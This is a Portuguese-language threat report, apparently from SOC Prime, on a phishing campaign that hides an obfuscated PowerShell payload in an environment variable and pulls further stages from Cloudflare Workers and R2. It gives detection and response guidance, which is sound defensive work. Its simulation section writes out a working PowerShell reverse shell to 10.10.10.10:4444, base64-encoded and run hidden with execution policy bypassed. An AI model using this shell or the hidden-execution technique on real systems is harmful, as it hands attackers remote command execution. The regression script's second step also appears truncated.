SOC Prime Bias: Médio

05 Jun 2026 15:49 UTC

O Retorno do Maligno Fundo MSI

Author Photo
SOC Prime Team linkedin icon Seguir
O Retorno do Maligno Fundo MSI
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Um e-mail de phishing contendo um link do WeTransfer entrega um arquivo JavaScript que armazena uma carga útil ofuscada dentro de uma variável de ambiente. Essa carga útil é posteriormente decodificada e executada via PowerShell lançado via WMI, que baixa uma imagem maliciosa JPEG no estilo MSI e uma DLL .NET do Cloudflare Workers e do armazenamento R2. A DLL é uma versão modificada de Microsoft.Win32.TaskScheduler usada para carregar cargas úteis subsequentes e possivelmente criar persistência através de tarefas agendadas. A campanha destaca como atores de ameaça continuam a abusar de serviços legítimos em nuvem para hospedar e distribuir componentes maliciosos.

Investigação

O analista identificou um arquivo JavaScript inicial chamado Remittance Advice.js contendo código ofuscado por ROT13 que cria a variável de ambiente INTERNAL_DB_CACHE . O PowerShell é então lançado em uma janela oculta via WMI e executa o bloco de script decodificado. Esse script recupera um arquivo JPEG de um subdomínio workers.dev e um arquivo PNG de um bucket público r2.dev , ambos provavelmente usados para transportar cargas adicionais através de métodos esteganográficos. O componente da última etapa é uma DLL .NET derivada da biblioteca de código aberto TaskScheduler.

Mitigação

As organizações devem bloquear o acesso a domínios maliciosos conhecidos, como we.tl, workers.dev, e r2.dev no nível do firewall ou proxy. A execução do PowerShell e a criação de processos baseados em WMI devem ser restritas para usuários não confiáveis sempre que possível. Os defensores também devem monitorar a execução oculta do PowerShell, abuso do método Win32_Process.Create , e variáveis de ambiente incomuns como INTERNAL_DB_CACHE. Arquivos baixados de armazenamento público em nuvem devem ser submetidos a validação e inspeção rigorosas.

Resposta

As equipes de segurança devem alertar quando o PowerShell for iniciado com uma janela oculta através do WMI e quando a variável INTERNAL_DB_CACHE for criada ou modificada. Qualquer processo que se conecte às URLs identificadas ou baixe conteúdo de workers.dev or r2.dev deve ser investigado imediatamente. A análise forense deve se concentrar em localizar a DLL .NET maliciosa e identificar tarefas agendadas recém-criadas que dependem da biblioteca TaskScheduler. Hosts afetados devem ser remediados prontamente e o conteúdo de detecção deve ser atualizado com os indicadores observados.

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Check de Pré-voo da Telemetria e linha de base deve ter sido aprovado.

Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa de Ataque & Comandos:
    O atacante primeiro injeta uma carga útil PowerShell codificada em base64 em uma variável de ambiente no nível do processo chamada INTERNAL_DB_CACHE. Essa carga útil, quando decodificada, lança um shell reverso. O atacante então invoca um segundo processo PowerShell que lê a variável e a executa via ScriptBlock::Create, mantendo assim o comando malicioso fora da linha de comando imediata. Essa abordagem de “viver da terra” evita a detecção por assinatura estática e aproveita o padrão de dois passos que a regra é projetada para detectar.

    1. Etapa 1 – Codificar carga útil e armazenar em variável de ambiente

      $payload = '$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
      $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
      [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process")
    2. Etapa 2 – Executar a carga codificada da variável de ambiente

      powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command [ScriptBlock]::Create([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($env:INTERNAL_DB_CACHE)))
  • Script de Teste de Regressão: O script abaixo automatiza os dois passos, captura timestamps para correlação e insere uma pequena pausa para permitir que o primeiro processo termine antes do segundo começar.

    # ----------------------------------------------
    # Simulação de PowerShell de carga codificada em var ambiente
    # ----------------------------------------------
    
    # Passo 1 – Codifique uma carga de shell reverso inofensiva (substitua pelo seu endereço C2)
    $payload = '$Sleep = 5; Start-Sleep -Seconds $Sleep'   # Pequena carga benigna para teste seguro
    $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
    [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process")
    Write-Host "[*] Variável de ambiente INTERNAL_DB_CACHE definida."
    
    # Pequena pausa para garantir que o primeiro comando seja registrado
    Start-Sleep -Seconds 2
    
    # Passo 2 – Execute a carga da variável
    powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command `
    Write-Host "[*] Execução de carga acionada."
  • Comandos de Limpeza: Remova a variável de ambiente temporária e termine quaisquer processos remanescentes criados durante o teste.

    # Remova a variável de ambiente de teste
    [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $null, "Process")
    Write-Host "[*] LIMPEZA – INTERNAL_DB_CACHE removido."
    
    # Certifique-se de que não restem instâncias órfãs do powershell.exe (exclua a sessão atual)
    Get-Process -Name "powershell" | Where-Object {$_.Id -ne $PID} | Stop-Process -Force
    Write-Host "[*] LIMPEZA – processos do PowerShell órfãos terminados."